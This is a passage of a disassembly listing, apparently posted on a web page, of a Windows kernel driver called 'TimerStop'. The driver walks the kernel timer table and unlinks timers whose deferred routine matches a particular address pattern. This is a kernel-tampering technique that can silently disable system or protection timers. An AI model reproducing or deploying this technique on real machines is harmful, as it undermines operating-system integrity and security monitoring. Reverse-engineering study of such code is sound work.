pop     esi&lt;br /&gt;.text:00011058                 pop     ebx&lt;br /&gt;.text:00011059                 leave&lt;br /&gt;.text:0001105A                 retn&lt;br /&gt;.text:0001105A sub_11006       endp ; sp =  4&lt;br /&gt;.text:0001105A&lt;br /&gt;.text:0001105A ; ---------------------------------------------------------------------------&lt;br /&gt;.text:0001105B                 align 8&lt;br /&gt;.text:00011060&lt;br /&gt;.text:00011060 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦&lt;br /&gt;.text:00011060&lt;br /&gt;.text:00011060 ; Attributes: bp-based frame&lt;br /&gt;.text:00011060&lt;br /&gt;.text:00011060 sub_11060       proc near               ; CODE XREF: sub_11080+55p&lt;br /&gt;.text:00011060&lt;br /&gt;.text:00011060 arg_4           = dword ptr  8&lt;br /&gt;.text:00011060&lt;br /&gt;.text:00011060                 mov     edi, edi&lt;br /&gt;.text:00011062                 push    ebp&lt;br /&gt;.text:00011063                 mov     ebp, esp&lt;br /&gt;.text:00011065                 mov     eax, [ebp+arg_4]&lt;br /&gt;.text:00011068                 and     eax, 0FFFh&lt;br /&gt;.text:0001106D                 sub     eax, 218h&lt;br /&gt;.text:00011072                 neg     eax&lt;br /&gt;.text:00011074                 sbb     eax, eax&lt;br /&gt;.text:00011076                 inc     eax&lt;br /&gt;.text:00011077                 pop     ebp&lt;br /&gt;.text:00011078                 retn    4&lt;br /&gt;.text:00011078 sub_11060       endp&lt;br /&gt;.text:00011078&lt;br /&gt;.text:00011078 ; ---------------------------------------------------------------------------&lt;br /&gt;.text:0001107B                 align 8&lt;br /&gt;.text:00011080&lt;br /&gt;.text:00011080 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦&lt;br /&gt;.text:00011080&lt;br /&gt;.text:00011080 ; Attributes: bp-based frame&lt;br /&gt;.text:00011080&lt;br /&gt;.text:00011080 sub_11080       proc near               ; CODE XREF: .text:00011135p&lt;br /&gt;.text:00011080&lt;br /&gt;.text:00011080 var_C           = dword ptr -0Ch&lt;br /&gt;.text:00011080 var_8           = dword ptr -8&lt;br /&gt;.text:00011080 var_1           = byte ptr -1&lt;br /&gt;.text:00011080&lt;br /&gt;.text:00011080                 mov     edi, edi&lt;br /&gt;.text:00011082                 push    ebp&lt;br /&gt;.text:00011083                 mov     ebp, esp&lt;br /&gt;.text:00011085                 sub     esp, 0Ch&lt;br /&gt;.text:00011088                 push    ebx&lt;br /&gt;.text:00011089                 push    esi&lt;br /&gt;.text:0001108A                 push    edi&lt;br /&gt;.text:0001108B                 call    sub_11006&lt;br /&gt;.text:00011090                 and     [ebp+var_8], 0&lt;br /&gt;.text:00011094                 and     [ebp+var_C], 0&lt;br /&gt;.text:00011098                 mov     cl, 2&lt;br /&gt;.text:0001109A                 call    ds:KfRaiseIrql&lt;br /&gt;.text:000110A0                 mov     [ebp+var_1], al&lt;br /&gt;.text:000110A3                 call    sub_11006&lt;br /&gt;.text:000110A8                 mov     esi, eax&lt;br /&gt;.text:000110AA                 push    esi&lt;br /&gt;.text:000110AB                 push    offset aTimertableX ; "TimerTable : %x\n"&lt;br /&gt;.text:000110B0                 call    DbgPrint&lt;br /&gt;.text:000110B5                 pop     ecx&lt;br /&gt;.text:000110B6                 pop     ecx&lt;br /&gt;.text:000110B7                 mov     ebx, esi&lt;br /&gt;.text:000110B9&lt;br /&gt;.text:000110B9 loc_110B9:                              ; CODE XREF: sub_11080+91j&lt;br /&gt;.text:000110B9                 mov     edi, [ebx]&lt;br /&gt;.text:000110BB                 test    edi, edi&lt;br /&gt;.text:000110BD                 jz      short loc_11113&lt;br /&gt;.text:000110BF                 jmp     short loc_11100&lt;br /&gt;.text:000110C1 ; ---------------------------------------------------------------------------&lt;br /&gt;.text:000110C1&lt;br /&gt;.text:000110C1 loc_110C1:                              ; CODE XREF: sub_11080+82j&lt;br /&gt;.text:000110C1                 lea     esi, [edi-18h]&lt;br /&gt;.text:000110C4                 mov     eax, [esi+20h]&lt;br /&gt;.text:000110C7                 test    eax, eax&lt;br /&gt;.text:000110C9                 mov     edi, [edi]&lt;br /&gt;.text:000110CB                 jz      short loc_11100&lt;br /&gt;.text:000110CD                 mov     ecx, [eax+0Ch]&lt;br /&gt;.text:000110D0                 test    ecx, ecx&lt;br /&gt;.text:000110D2                 jz      short loc_11100&lt;br /&gt;.text:000110D4                 push    ecx&lt;br /&gt;.text:000110D5                 call    sub_11060&lt;br /&gt;.text:000110DA                 test    eax, eax&lt;br /&gt;.text:000110DC                 jz      short loc_11100&lt;br /&gt;.text:000110DE                 push    dword ptr [esi+14h]&lt;br /&gt;.text:000110E1                 push    dword ptr [esi+10h]&lt;br /&gt;.text:000110E4                 push    ecx&lt;br /&gt;.text:000110E5                 push    offset aFoundDeferredr ; "Found DeferredRoutine %x QuadPart %lld\n"...&lt;br /&gt;.text:000110EA                 call    DbgPrint&lt;br /&gt;.text:000110EF                 mov     eax, [esi+18h]&lt;br /&gt;.text:000110F2                 mov     esi, [esi+1Ch]&lt;br /&gt;.text:000110F5                 add     esp, 10h&lt;br /&gt;.text:000110F8                 inc     [ebp+var_C]&lt;br /&gt;.text:000110FB                 mov     [esi], eax&lt;br /&gt;.text:000110FD                 mov     [eax+4], esi&lt;br /&gt;.text:00011100&lt;br /&gt;.text:00011100 loc_11100:                              ; CODE XREF: sub_11080+3Fj&lt;br /&gt;.text:00011100                                         ; sub_11080+4Bj ...&lt;br /&gt;.text:00011100                 cmp     edi, ebx&lt;br /&gt;.text:00011102                 jnz     short loc_110C1&lt;br /&gt;.text:00011104                 inc     [ebp+var_8]&lt;br /&gt;.text:00011107                 add     ebx, 10h&lt;br /&gt;.text:0001110A                 cmp     [ebp+var_8], 1F4h&lt;br /&gt;.text:00011111                 jb      short loc_110B9&lt;br /&gt;.text:00011113&lt;br /&gt;.text:00011113 loc_11113:                              ; CODE XREF: sub_11080+3Dj&lt;br /&gt;.text:00011113                 mov     cl, [ebp+var_1]&lt;br /&gt;.text:00011116                 call    ds:KfLowerIrql&lt;br /&gt;.text:0001111C                 mov     eax, [ebp+var_C]&lt;br /&gt;.text:0001111F                 pop     edi&lt;br /&gt;.text:00011120                 pop     esi&lt;br /&gt;.text:00011121                 pop     ebx&lt;br /&gt;.text:00011122                 leave&lt;br /&gt;.text:00011123                 retn&lt;br /&gt;.text:00011123 sub_11080       endp ; sp =  4&lt;br /&gt;.text:00011123&lt;br /&gt;.text:00011123 ; ---------------------------------------------------------------------------&lt;br /&gt;.text:00011124                 dd 0CCCCCCCCh&lt;br /&gt;.text:00011128                 db 2 dup(0CCh)&lt;br /&gt;.text:0001112A ; ---------------------------------------------------------------------------&lt;br /&gt;.text:0001112A&lt;br /&gt;.text:0001112A loc_1112A:                              ; CODE XREF: start+3Dj&lt;br /&gt;.text:0001112A                 push    offset aTimerstopDrive ; "TimerStop Driver loaded\n"&lt;br /&gt;.text:0001112F                 call    DbgPrint&lt;br /&gt;.text:00011134                 pop     ecx&lt;br /&gt;.text:00011135                 call    sub_11080&lt;br /&gt;.text:0001113A                 or      ecx, 0FFFFFFFFh&lt;br /&gt;.text:0001113D                 sub     ecx, eax&lt;br /&gt;.text:0001113F                 mov     eax, ecx&lt;br /&gt;.text:00011141                 retn    8&lt;br /&gt;.text:00011141 ; ---------------------------------------------------------------------------&lt;br /&gt;.text:00011144                 dd 0CCCCCCCCh&lt;br /&gt;.text:00011148                 db 2 dup(0CCh)&lt;br /&gt;.text:0001114A&lt;br /&gt;.text:0001114A ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦&lt;br /&gt;.text:0001114A&lt;br /&gt;.text:0001114A ; Attributes: thunk&lt;br /&gt;.text:0001114A&lt;br /&gt;.text:0001114A DbgPrint        proc near               ; CODE XREF: sub_11080+30p&lt;br /&gt;.text:0001114A                                         ; sub_11080+6Ap ...&lt;br /&gt;.text:0001114A                 jmp     ds:__imp_DbgPrint&lt;br /&gt;.text:0001114A DbgPrint        endp&lt;br /&gt;.text:0001114A&lt;br /&gt;.text:0001114A ; ---------------------------------------------------------------------------&lt;br /&gt;.text:00011150 aFoundDeferredr db 'Found DeferredRoutine %x QuadPart %lld',0Ah,0&lt;br /&gt;.text:00011150                                         ; DATA XREF: sub_11080+65o&lt;br /&gt;.text:00011178 aTimertableX    db 'TimerTable : %x',0Ah,0 ; DATA XREF: sub_11080+2Bo&lt;br /&gt;.text:00011189                 align 2&lt;br /&gt;.text:0001118A aTimerstopDrive db 'TimerStop Driver loaded',0Ah,0&lt;br /&gt;.text:0001118A                                         ; DATA XREF: .text:0001112Ao&lt;br /&gt;.text:000111A3                 align 80h&lt;br /&gt;.text:000111A3 _text           ends&lt;br /&gt;.text:000111A3&lt;br /&gt;.idata:00012000 ; Section 2. (virtual address 00002000)&lt;br /&gt;.idata:00012000 ; Virtual size                  : 00000093 (    147.)&lt;br /&gt;.idata:00012000 ; Section size in file          : 00000200 (    512.)&lt;br /&gt;.idata:00012000 ; Offset to raw data for section: 00000600&lt;br /&gt;.idata:00012000 ; Flags 48000040: Data Not pageable Readable&lt;br /&gt;.idata:00012000 ; Alignment     : 16 bytes ?&lt;br /&gt;.idata:00012000 ;&lt;br /&gt;.idata:00012000 ; Imports from HAL.dll&lt;br /&gt;.idata:00012000 ;&lt;br /&gt;.idata:00012000 ; ---------------------------------------------------------------------------&lt;br /&gt;.idata:00012000&lt;br /&gt;.idata:00012000 ; Segment type: Externs&lt;br /&gt;.idata:00012000 ; _idata&lt;br /&gt;.idata:00012000                 extrn KfRaiseIrql:dword ; DATA XREF: sub_11080+1Ar&lt;br /&gt;.idata:00012004                 extrn KfLowerIrql:dword ; DATA XREF: sub_11080+96r&lt;br /&gt;.idata:00012008&lt;br /&gt;.idata:0001200C ;&lt;br /&gt;.idata:0001200C ; Imports from ntoskrnl.exe&lt;br /&gt;.idata:0001200C ;&lt;br /&gt;.idata:0001200C                 extrn KeTickCount:dword ; DATA XREF: start+17r&lt;br /&gt;.idata:00012010                 extrn __imp_DbgPrint:dword ; DATA XREF: DbgPrintr&lt;br /&gt;.idata:00012014                 extrn KeInitializeTimer:dword ; DATA XREF: sub_11006+Fr&lt;br /&gt;.idata:00012018                 extrn KeSetTimer:dword  ; DATA XREF: sub_11006+15r&lt;br /&gt;.idata:0001201C                 extrn KeCancelTimer:dword ; DATA XREF: sub_11006+3Dr&lt;br /&gt;.idata:00012020&lt;br /&gt;.idata:00012020&lt;br /&gt;.rdata:00012024 ; ---------------------------------------------------------------------------&lt;br /&gt;.rdata:00012024&lt;br /&gt;.rdata:00012024 ; Segment type: Pure data&lt;br /&gt;.rdata:00012024 _rdata          segment para public 'DATA' use32&lt;br /&gt;.rdata:00012024                 assume cs:_rdata&lt;br /&gt;.rdata:00012024                 ;org 12024h&lt;br /&gt;.rdata:00012024                 db    0 ;&lt;br /&gt;.rdata:00012025                 db    0 ;&lt;br /&gt;.rdata:00012026                 db    0 ;&lt;br /&gt;.rdata:00012027                 db    0 ;&lt;br /&gt;.rdata:00012028                 db    0 ;&lt;br /&gt;.rdata:00012029                 db    0 ;&lt;br /&gt;.rdata:0001202A                 db    0 ;&lt;br /&gt;.rdata:0001202B                 db    0 ;&lt;br /&gt;.rdata:0001202C                 db    0 ;&lt;br /&gt;.rdata:0001202D                 db    0 ;&lt;br /&gt;.rdata:0001202E                 db    0 ;&lt;br /&gt;.rdata:0001202F                 db    0 ;&lt;br /&gt;.rdata:00012030                 db    0 ;&lt;br /&gt;.rdata:00012031                 db    0 ;&lt;br /&gt;.rdata:00012032                 db    0 ;&lt;br /&gt;.rdata:00012033                 db    0 ;&lt;br /&gt;.rdata:00012034                 db  74h ; t&lt;br /&gt;.rdata:00012035                 db 0D7h ; +&lt;br /&gt;.rdata:00012036                 db  85h ; à&lt;br /&gt;.rdata:00012037                 db  45h ; E&lt;br /&gt;.rdata:00012038                 db    0 ;&lt;br /&gt;.rdata:00012039                 db    0 ;&lt;br /&gt;.rdata:0001203A                 db    0 ;&lt;br /&gt;.rdata:0001203B                 db    0 ;&lt;br /&gt;.rdata:0001203C                 db    2 ;&lt;br /&gt;.rdata:0001203D                 db    0 ;&lt;br /&gt;.rdata:0001203E                 db    0 ;&lt;br /&gt;.rdata:0001203F                 db    0 ;&lt;br /&gt;.rdata:00012040                 db  47h ; G&lt;br /&gt;.rdata:00012041                 db    0 ;&lt;br /&gt;.rdata:00012042                 db    0 ;&lt;br /&gt;.rdata:00012043                 db    0 ;&lt;br /&gt;.rdata:00012044                 db  4Ch ; L&lt;br /&gt;.rdata:00012045                 db  20h ;&lt;br /&gt;.rdata:00012046                 db    0 ;&lt;br /&gt;.rdata:00012047                 db    0 ;&lt;br /&gt;.rdata:00012048                 db  4Ch ; L&lt;br /&gt;.rdata:00012049                 db    6 ;&lt;br /&gt;.rdata:0001204A                 db    0 ;&lt;br /&gt;.rdata:0001204B                 db    0 ;&lt;br /&gt;.rdata:0001204C                 db  52h ; R&lt;br /&gt;.rdata:0001204D                 db  53h ; S&lt;br /&gt;.rdata:0001204E                 db  44h ; D&lt;br /&gt;.rdata:0001204F                 db  53h ; S&lt;br /&gt;.rdata:00012050                 db  28h ; (&lt;br /&gt;.rdata:00012051                 db  99h ; Ö&lt;br /&gt;.rdata:00012052                 db 0F9h ; ·&lt;br /&gt;.rdata:00012053                 db  64h ; d&lt;br /&gt;.rdata:00012054                 db 0A7h ; º&lt;br /&gt;.rdata:00012055                 db 0DEh ; ¦&lt;br /&gt;.rdata:00012056                 db  5Ch ; \&lt;br /&gt;.rdata:00012057                 db  4Fh ; O&lt;br /&gt;.rdata:00012058                 db 0B7h ; +&lt;br /&gt;.rdata:00012059                 db  1Ah ;&lt;br /&gt;.rdata:0001205A                 db  88h ; ê&lt;br /&gt;.rdata:0001205B                 db  4Fh ; O&lt;br /&gt;.rdata:0001205C                 db  47h ; G&lt;br /&gt;.rdata:0001205D                 db 0E5h ; s&lt;br /&gt;.rdata:0001205E                 db 0D3h ; +&lt;br /&gt;.rdata:0001205F                 db  5Dh ; ]&lt;br /&gt;.rdata:00012060                 db    4 ;&lt;br /&gt;.rdata:00012061                 db    0 ;&lt;br /&gt;.rdata:00012062                 db    0 ;&lt;br /&gt;.rdata:00012063                 db    0 ;&lt;br /&gt;.rdata:00012064                 db  63h ; c&lt;br /&gt;.rdata:00012065                 db  3Ah ; :&lt;br /&gt;.rdata:00012066                 db  5Ch ; \&lt;br /&gt;.rdata:00012067                 db  74h ; t&lt;br /&gt;.rdata:00012068                 db  69h ; i&lt;br /&gt;.rdata:00012069                 db  6Dh ; m&lt;br /&gt;.rdata:0001206A                 db  65h ; e&lt;br /&gt;.rdata:0001206B                 db  72h ; r&lt;br /&gt;.rdata:0001206C                 db  73h ; s&lt;br /&gt;.rdata:0001206D                 db  74h ; t&lt;br /&gt;.rdata:0001206E                 db  6Fh ; o&lt;br /&gt;.rdata:0001206F                 db  70h ; p&lt;br /&gt;.rdata:00012070                 db  5Ch ; \&lt;br /&gt;.rdata:00012071                 db  6Fh ; o&lt;br /&gt;.rdata:00012072                 db  62h ; b&lt;br /&gt;.rdata:00012073                 db  6Ah ; j&lt;br /&gt;.rdata:00012074                 db  66h ; f&lt;br /&gt;.rdata:00012075                 db  72h ; r&lt;br /&gt;.rdata:00012076                 db  65h ; e&lt;br /&gt;.rdata:00012077                 db  5Fh ; _&lt;br /&gt;.rdata:00012078                 db  77h ; w&lt;br /&gt;.rdata:00012079                 db  6Ch ; l&lt;br /&gt;.rdata:0001207A                 db  68h ; h&lt;br /&gt;.rdata:0001207B                 db  5Fh ; _&lt;br /&gt;.rdata:0001207C                 db  78h ; x&lt;br /&gt;.rdata:0001207D                 db  38h ; 8&lt;br /&gt;.rdata:0001207E                 db  36h ; 6&lt;br /&gt;.rdata:0001207F                 db  5Ch ; \&lt;br /&gt;.rdata:00012080                 db  69h ; i&lt;br /&gt;.rdata:00012081                 db  33h ; 3&lt;br /&gt;.rdata:00012082                 db  38h ; 8&lt;br /&gt;.rdata:00012083                 db  36h ; 6&lt;br /&gt;.rdata:00012084                 db  5Ch ; \&lt;br /&gt;.rdata:00012085                 db  54h ; T&lt;br /&gt;.rdata:00012086                 db  69h ; i&lt;br /&gt;.rdata:00012087                 db  6Dh ; m&lt;br /&gt;.rdata:00012088                 db  65h ; e&lt;br /&gt;.rdata:00012089                 db  72h ; r&lt;br /&gt;.rdata:0001208A                 db  53h ; S&lt;br /&gt;.rdata:0001208B                 db  74h ; t&lt;br /&gt;.rdata:0001208C                 db  6Fh ; o&lt;br /&gt;.rdata:0001208D                 db  70h ; p&lt;br /&gt;.rdata:0001208E                 db  2Eh ; .&lt;br /&gt;.rdata:0001208F                 db  70h ; p&lt;br /&gt;.rdata:00012090                 db  64h ; d&lt;br /&gt;.rdata:00012091                 db  62h ; b&lt;br /&gt;.rdata:00012092                 db    0 ;&lt;br /&gt;.rdata:00012093                 db    0 ;&lt;br /&gt;.rdata:00012094                 db    0 ;&lt;br /&gt;.rdata:00012095                 db    0 ;&lt;br /&gt;.rdata:00012096                 db    0 ;&lt;br /&gt;.rdata:00012097                 db    0 ;&lt;br /&gt;.rdata:00012098                 db    0 ;&lt;br /&gt;.rdata:00012099                 db    0 ;&lt;br /&gt;.rdata:0001209A                 db    0 ;&lt;br /&gt;.rdata:0001209B                 db    0 ;&lt;br /&gt;.rdata:0001209C                 db    0 ;&lt;br /&gt;.rdata:0001209D                 db    0 ;&lt;br /&gt;.rdata:0001209E                 db    0 ;&lt;br /&gt;.rdata:0001209F                 db    0 ;&lt;br /&gt;.rdata:000120A0                 db    0 ;&lt;br /&gt;.rdata:000120A1                 db    0 ;&lt;br /&gt;.rdata:000120A2                 db    0 ;&lt;br /&gt;.rdata:000120A3                 db    0 ;&lt;br /&gt;.rdata:000120A4                 db    0 ;&lt;br /&gt;.rdata:000120A5                 db    0 ;&lt;br /&gt;.rdata:000120A6                 db    0 ;&lt;br /&gt;.rdata:000120A7                 db    0 ;&lt;br /&gt;.rdata:000120A8                 db    0 ;&lt;br /&gt;.rdata:000120A9                 db    0 ;&lt;br /&gt;.rdata:000120AA                 db    0 ;&lt;br /&gt;.rdata:000120AB                 db    0 ;&lt;br /&gt;.rdata:000120AC                 db    0 ;&lt;br /&gt;.rdata:000120AD                 db    0 ;&lt;br /&gt;.rdata:000120AE                 db    0 ;&lt;br /&gt;.rdata:000120AF                 db    0 ;&lt;br /&gt;.rdata:000120B0                 db    0 ;&lt;br /&gt;.rdata:000120B1                 db    0 ;&lt;br /&gt;.rdata:000120B2                 db    0 ;&lt;br /&gt;.rdata:000120B3                 db    0 ;&lt;br /&gt;.rdata:000120B4                 db    0 ;&lt;br /&gt;.rdata:000120B5                 db    0 ;&lt;br /&gt;.rdata:000120B6                 db    0 ;&lt;br /&gt;.rdata:000120B7                 db    0 ;&lt;br /&gt;.rdata:000120B8                 db    0 ;&lt;br /&gt;.rdata:000120B9                 db    0 ;&lt;br /&gt;.rdata:000120BA                 db    0 ;&lt;br /&gt;.rdata:000120BB                 db    0 ;&lt;br /&gt;.rdata:000120BC                 db    0 ;&lt;br /&gt;.rdata:000120BD                 db    0 ;&lt;br /&gt;.rdata:000120BE                 db    0 ;&lt;br /&gt;.rdata:000120BF                 db    0 ;&lt;br /&gt;.rdata:000120C0                 db    0 ;&lt;br /&gt;.rdata:000120C1                 db    0 ;&lt;br /&gt;.rdata:000120C2                 db    0 ;&lt;br /&gt;.rdata:000120C3                 db    0 ;&lt;br /&gt;.rdata:000120C4                 db    0 ;&lt;br /&gt;.rdata:000120C5                 db    0 ;&lt;br /&gt;.rdata:000120C6                 db    0 ;&lt;br /&gt;.rdata:000120C7                 db    0 ;&lt;br /&gt;.rdata:000120C8                 db    0 ;&lt;br /&gt;.rdata:000120C9                 db    0 ;&lt;br /&gt;.rdata:000120CA                 db    0 ;&lt;br /&gt;.rdata:000120CB                 db    0 ;&lt;br /&gt;.rdata:000120CC                 db    0 ;&lt;br /&gt;.rdata:000120CD                 db    0 ;&lt;br /&gt;.rdata:000120CE                 db    0 ;&lt;br /&gt;.rdata:000120CF                 db    0 ;&lt;br /&gt;.rdata:000120D0                 db    0 ;&lt;br /&gt;.rdata:000120D1                 db    0 ;&lt;br /&gt;.rdata:000120D2                 db    0 ;&lt;br /&gt;.rdata:000120D3                 db    0 ;&lt;br /&gt;.rdata:000120D4                 db    0 ;&lt;br /&gt;.rdata:000120D5                 db    0 ;&lt;br /&gt;.rdata:000120D6                 db    0 ;&lt;br /&gt;.rdata:000120D7                 db    0 ;&lt;br /&gt;.rdata:000120D8                 db    0 ;&lt;br /&gt;.rdata:000120D9                 db    0 ;&lt;br /&gt;.rdata:000120DA                 db    0 ;&lt;br /&gt;.rdata:000120DB                 db    0 ;&lt;br /&gt;.rdata:000120DC                 db    0 ;&lt;br /&gt;.rdata:000120DD                 db    0 ;&lt;br /&gt;.rdata:000120DE                 db    0 ;&lt;br /&gt;.rdata:000120DF                 db    0 ;&lt;br /&gt;.rdata:000120E0                 db    0 ;&lt;br /&gt;.rdata:000120E1                 db    0 ;&lt;br /&gt;.rdata:000120E2                 db    0 ;&lt;br /&gt;.rdata:000120E3                 db    0 ;&lt;br /&gt;.rdata:000120E4                 db    0 ;&lt;br /&gt;.rdata:000120E5                 db    0 ;&lt;br /&gt;.rdata:000120E6                 db    0 ;&lt;br /&gt;.rdata:000120E7                 db    0 ;&lt;br /&gt;.rdata:000120E8                 db    0 ;&lt;br /&gt;.rdata:000120E9                 db    0 ;&lt;br /&gt;.rdata:000120EA                 db    0 ;&lt;br /&gt;.rdata:000120EB                 db    0 ;&lt;br /&gt;.rdata:000120EC                 db    0 ;&lt;br /&gt;.rdata:000120ED                 db    0 ;&lt;br /&gt;.rdata:000120EE                 db    0 ;&lt;br /&gt;.rdata:000120EF                 db    0 ;&lt;br /&gt;.rdata:000120F0                 db    0 ;&lt;br /&gt;.rdata:000120F1                 db    0 ;&lt;br /&gt;.rdata:000120F2                 db    0 ;&lt;br /&gt;.rdata:000120F3                 db    0 ;&lt;br /&gt;.rdata:000120F4                 db    0 ;&lt;br /&gt;.rdata:000120F5                 db    0 ;&lt;br /&gt;.rdata:000120F6                 db    0 ;&lt;br /&gt;.rdata:000120F7                 db    0 ;&lt;br /&gt;.rdata:000120F8                 db    0 ;&lt;br /&gt;.rdata:000120F9                 db    0 ;&lt;br /&gt;.rdata:000120FA                 db    0 ;&lt;br /&gt;.rdata:000120FB                 db    0 ;&lt;br /&gt;.rdata:000120FC                 db    0 ;&lt;br /&gt;.rdata:000120FD                 db    0 ;&lt;br /&gt;.rdata:000120FE                 db    0 ;&lt;br /&gt;.rdata:000120FF                 db    0 ;&lt;br /&gt;.rdata:00012100                 db    0 ;&lt;br /&gt;.rdata:00012101                 db    0 ;&lt;br /&gt;.rdata:00012102                 db    0 ;&lt;br /&gt;.rdata:00012103                 db    0 ;&lt;br /&gt;.rdata:00012104                 db    0 ;&lt;br /&gt;.rdata:00012105                 db    0 ;&lt;br /&gt;.rdata:00012106                 db    0 ;&lt;br /&gt;.rdata:00012107                 db    0 ;&lt;br /&gt;.rdata:00012108                 db    0 ;&lt;br /&gt;.rdata:00012109                 db    0 ;&lt;br /&gt;.rdata:0001210A                 db    0 ;&lt;br /&gt;.rdata:0001210B                 db    0 ;&lt;br /&gt;.rdata:0001210C                 db    0 ;&lt;br /&gt;.rdata:0001210D                 db    0 ;&lt;br /&gt;.rdata:0001210E                 db    0 ;&lt;br /&gt;.rdata:0001210F                 db    0 ;&lt;br /&gt;.rdata:00012110                 db    0 ;&lt;br /&gt;.rdata:00012111                 db    0 ;&lt;br /&gt;.rdata:00012112                 db    0 ;&lt;br /&gt;.rdata:00012113                 db    0 ;&lt;br /&gt;.rdata:00012114                 db    0 ;&lt;br /&gt;.rdata:00012115                 db    0 ;&lt;br /&gt;.rdata:00012116                 db    0 ;&lt;br /&gt;.rdata:00012117                 db    0 ;&lt;br /&gt;.rdata:00012118                 db    0 ;&lt;br /&gt;.rdata:00012119                 db    0 ;&lt;br /&gt;.rdata:0001211A                 db    0 ;&lt;br /&gt;.rdata:0001211B                 db    0 ;&lt;br /&gt;.rdata:0001211C                 db    0 ;&lt;br /&gt;.rdata:0001211D                 db    0 ;&lt;br /&gt;.rdata:0001211E                 db    0 ;&lt;br /&gt;.rdata:0001211F                 db    0 ;&lt;br /&gt;.rdata:00012120                 db    0 ;&lt;br /&gt;.rdata:00012121                 db    0 ;&lt;br /&gt;.rdata:00012122                 db    0 ;&lt;br /&gt;.rdata:00012123                 db    0 ;&lt;br /&gt;.rdata:00012124                 db    0 ;&lt;br /&gt;.rdata:00012125                 db    0 ;&lt;br /&gt;.rdata:00012126                 db    0 ;&lt;br /&gt;.rdata:00012127                 db    0 ;&lt;br /&gt;.rdata:00012128                 db    0 ;&lt;br /&gt;.rdata:00012129                 db    0 ;&lt;br /&gt;.rdata:0001212A                 db    0 ;&lt;br /&gt;.rdata:0001212B                 db    0 ;&lt;br /&gt;.rdata:0001212C                 db    0 ;&lt;br /&gt;.rdata:0001212D                 db    0 ;&lt;br /&gt;.rdata:0001212E                 db    0 ;&lt;br /&gt;.rdata:0001212F                 db    0 ;&lt;br /&gt;.rdata:00012130                 db    0 ;&lt;br /&gt;.rdata:00012131                 db    0 ;&lt;br /&gt;.rdata:00012132                 db    0 ;&lt;br /&gt;.rdata:00012133                 db    0 ;&lt;br /&gt;.rdata:00012134                 db    0 ;&lt;br /&gt;.rdata:00012135                 db    0 ;&lt;br /&gt;.rdata:00012136                 db    0 ;&lt;br /&gt;.rdata:00012137                 db    0 ;&lt;br /&gt;.rdata:00012138                 db    0 ;&lt;br /&gt;.rdata:00012139                 db    0 ;&lt;br /&gt;.rdata:0001213A                 db    0 ;&lt;br /&gt;.rdata:0001213B                 db    0 ;&lt;br /&gt;.rdata:0001213C                 db    0 ;&lt;br /&gt;.rdata:0001213D                 db    0 ;&lt;br /&gt;.rdata:0001213E                 db    0 ;&lt;br /&gt;.rdata:0001213F                 db    0 ;&lt;br /&gt;.rdata:00012140                 db    0 ;&lt;br /&gt;.rdata:00012141                 db    0 ;&lt;br /&gt;.rdata:00012142                 db    0 ;&lt;br /&gt;.rdata:00012143                 db    0 ;&lt;br /&gt;.rdata:00012144                 db    0 ;&lt;br /&gt;.rdata:00012145                 db    0 ;&lt;br /&gt;.rdata:00012146                 db    0 ;&lt;br /&gt;.rdata:00012147                 db    0 ;&lt;br /&gt;.rdata:00012148                 db    0 ;&lt;br /&gt;.rdata:00012149                 db    0 ;&lt;br /&gt;.rdata:0001214A                 db    0 ;&lt;br /&gt;.rdata:0001214B                 db    0 ;&lt;br /&gt;.rdata:0001214C                 db    0 ;&lt;br /&gt;.rdata:0001214D                 db    0 ;&lt;br /&gt;.rdata:0001214E                 db    0 ;&lt;br /&gt;.rdata:0001214F                 db    0 ;&lt;br /&gt;.rdata:00012150                 db    0 ;&lt;br /&gt;.rdata:00012151                 db    0 ;&lt;br /&gt;.rdata:00012152                 db    0 ;&lt;br /&gt;.rdata:00012153                 db    0 ;&lt;br /&gt;.rdata:00012154                 db    0 ;&lt;br /&gt;.rdata:00012155                 db    0 ;&lt;br /&gt;.rdata:00012156                 db    0 ;&lt;br /&gt;.rdata:00012157                 db    0 ;&lt;br /&gt;.rdata:00012158                 db    0 ;&lt;br /&gt;.rdata:00012159                 db    0 ;&lt;br /&gt;.rdata:0001215A                 db    0 ;&lt;br /&gt;.rdata:0001215B                 db    0 ;&lt;br /&gt;.rdata:0001215C                 db    0 ;&lt;br /&gt;.rdata:0001215D                 db    0 ;&lt;br /&gt;.rdata:0001215E                 db    0 ;&lt;br /&gt;.rdata:0001215F                 db    0 ;&lt;br /&gt;.rdata:00012160                 db    0 ;&lt;br /&gt;.rdata:00012161                 db    0 ;&lt;br /&gt;.rdata:00012162                 db    0 ;&lt;br /&gt;.rdata:00012163                 db    0 ;&lt;br /&gt;.rdata:00012164                 db    0 ;&lt;br /&gt;.rdata:00012165                 db    0 ;&lt;br /&gt;.rdata:00012166                 db    0 ;&lt;br /&gt;.rdata:00012167                 db    0 ;&lt;br /&gt;.rdata:00012168                 db    0 ;&lt;br /&gt;.rdata:00012169                 db    0 ;&lt;br /&gt;.rdata:0001216A                 db    0 ;&lt;br /&gt;.rdata:0001216B                 db    0 ;&lt;br /&gt;.rdata:0001216C                 db    0 ;&lt;br /&gt;.rdata:0001216D                 db    0 ;&lt;br /&gt;.rdata:0001216E                 db    0 ;&lt;br /&gt;.rdata:0001216F                 db    0 ;&lt;br /&gt;.rdata:00012170                 db    0 ;&lt;br /&gt;.rdata:00012171                 db    0 ;&lt;br /&gt;.rdata:00012172                 db    0 ;&lt;br /&gt;.rdata:00012173                 db    0 ;&lt;br /&gt;.rdata:00012174                 db    0 ;&lt;br /&gt;.rdata:00012175                 db    0 ;&lt;br /&gt;.rdata:00012176                 db    0 ;&lt;br /&gt;.rdata:00012177                 db    0 ;&lt;br /&gt;.rdata:00012178                 db    0 ;&lt;br /&gt;.rdata:00012179                 db    0 ;&lt;br /&gt;.rdata:0001217A                 db    0 ;&lt;br /&gt;.rdata:0001217B                 db    0 ;&lt;br /&gt;.rdata:0001217C                 db    0 ;&lt;br 